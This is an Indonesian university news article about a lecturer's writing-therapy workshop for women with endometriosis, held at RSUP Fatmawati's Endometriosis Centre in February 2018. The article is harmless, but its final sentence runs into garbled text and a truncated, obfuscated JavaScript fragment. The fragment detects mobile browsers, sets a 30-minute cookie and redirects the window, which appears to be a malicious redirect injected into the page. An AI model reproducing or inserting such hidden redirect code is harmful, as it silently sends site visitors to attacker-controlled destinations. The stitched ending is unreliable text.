Oleh; Dr. Abdurrahman Misno BP, MEI
Pelaksanaan Tri Dharma Perguruan tinggi menjadi sebuah keniscayaan jika suatu perguruan tinggi ingin unggul dalam kompetisi global. Pengajaran yang optimal, penelitian yang aplicable serta pengabdian yang tepat sasaran menjadi key succes nya.
Dosen sebagai insan yang menjadi kunci sukses dalam Tri Dharma adalah subyek yang harus terus berpacu mengoptimalkan seluruh potensi yang ada untuk dunia pengajaran, penelitian dan pengabdian pada masyarakat.
Pengabdian sebagai bentuk khidmah dosen terhadap masyarakat adalah ranah aplikasi ilmu dari dosen untuk masyarakat.
Sebagai sebuah pengabdian tentu saja ia harus selaras dengan kebutuhan masyarakat. Artinya bahwa pengabdian haruslah didasarkan kepada kebutuhan masyarakat itu sendiri.
Guna memenuhi kebutuhan tersebut maka dosen dituntut tidak hanya menguasai ilmu spesialisasinya namun juga memiliki wawasan yang luas dan memahami kebutuhab masyarakat.
STEI Tazkia terus berpacu dengan pelaksanaan Tri Dharma ini, salah satunya adalah out of the box dengan memberikan pencerahan sekaligus sharing ilmu dan ketrampilan bagi masyarakat.
Para wanita dengan Endometriosis sangat membutuhkan adanya therapy untuk penyembuhan penyakit yang mereka derita. Tentu saja penyakit ini sudah berusaha disembuhkan oleh para dokter yang ahli di bidangnya, namun hingga saat ini belum ditemukan obat penawar yang bisa menyembuhkannya. Hingga akhirnya jalan keluar sementara adalah operasi yabg dilakukan terus menerus.
Upaya pencegahan dan penawar yang bisa mengurangi penderita ini adalah dengan mengalihkan aktifitas serta menuangkan emosi dalam bentuk aktifitas fisik, salah satunya adalah dengan menulis.
Dr. Abdurrahman Misno BP, MEI selaku dosen sekaligus Kepala Prodi Hukum Ekonomi Syariah (Muamalah) pada Ahad, 25 Februari 2018 memberikan sharing teknik menulis sebagai therapi Endometriosis.
Kegiatan yang diinisiasi oleh Endometriosis Centre RSUP Fatmawati ini dihadiri oleh para wanita yang mengidap penyakit ini adalah bukti nyata pengabdian pada masyarakat oleh dosen STEI Tazkia.
Acara ini menghadirkan dr. Luki sebagai Direktur Endometriosis Centre, dr. Melvyn sebagai ahli Endometriosis serta Ibu Eni Widiati, SP selaku pendiri komunitas Endometriosis.
“Kegiatan ini sangat bermanfaat bagi saya dan teman-teman, sebagai terapi atas penyakit yang kami rasakan setiap bulan” komentar Ibu Dr. Rini salah satu peserta yang juga seorang antropolog.
Acara ini ditutup dengan sessi latihan menulis mengenai kisah mereka masing masing, nantinya tulisan-tulisan ini akan dikumpulkan dan menjadi buku kisah para Endo Wariors, sebutan bagi para wanita dengan Endometriosis.
Semoga bentuk pengabdian dosen ini merupakan amal nyata STEI Tazkia beserta seluruh civitas akademika kepada masyarakat. drm g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}